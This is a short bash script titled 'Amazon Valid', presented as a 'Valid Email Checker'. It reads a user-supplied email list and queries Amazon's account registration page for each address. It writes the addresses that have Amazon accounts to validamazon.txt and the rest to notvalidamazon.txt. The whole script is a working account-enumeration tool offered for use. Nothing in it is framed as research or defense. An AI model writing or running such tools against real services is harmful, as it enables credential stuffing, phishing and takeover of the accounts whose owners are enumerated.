Amazon Valid

#!/bin/bash
#coded = GantengersCrews
echo -e "\033[1m\e[1;36m  ____ ____ ___   ____ _______  ____                       \E[0m"
echo -e "\033[1m\e[1;36m / _  |  _ \ _ \ / _  |_  / _ \|  _ \                      \E[0m"
echo -e "\033[1m\e[1;36m| (_| | | | | | | (_| |/ / (_) | | | |\E[0m \033[1m\e[1;41m-Valid Email Checker\E[0m"
echo -e "\033[1m\e[1;36m \____|_| |_| |_|\____/___\___/|_| |_|                     \E[0m"
echo ''
sleep 1

CHKamazon(){
wget -q "https://www.amazon.com/ap/register?_encoding=UTF8&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fyourstore%2Fhome%3Fie%3DUTF8%26ref_%3Dgno_newcust?&email=${em}" -O tmp/ganteng.txt
cat tmp/ganteng.txt | grep "Create account" > /dev/null;cekh=$?
if [ $cekh -eq 0 ];then
echo -e "[+] $em = \033[1m\e[1;31m[Not Valid in Amazon]\E[0m"
echo -e "[+] $em = \033[1m\e[1;31m[Not Valid in Amazon]\E[0m" >> log.txt
echo "$em" >> notvalidamazon.txt
else
echo -e "[+] $em = \033[1m\e[1;32m[Valid in Amazon]\E[0m"
echo -e "[+] $em = \033[1m\e[1;32m[Valid in Amazon]\E[0m" >> log.txt
echo "$em" >> validamazon.txt
fi
rm -f tmp/*
}
run(){
for em in `cat $email`
do
CHKamazon $em
done
}
detail(){
if [ ! -d tmp ];then
mkdir tmp
fi
if [ ! -f $email ];then
echo "[?] file $email Not Found [!]"
exit
fi
}
read -p "[+] Enter list email = " email
detail
run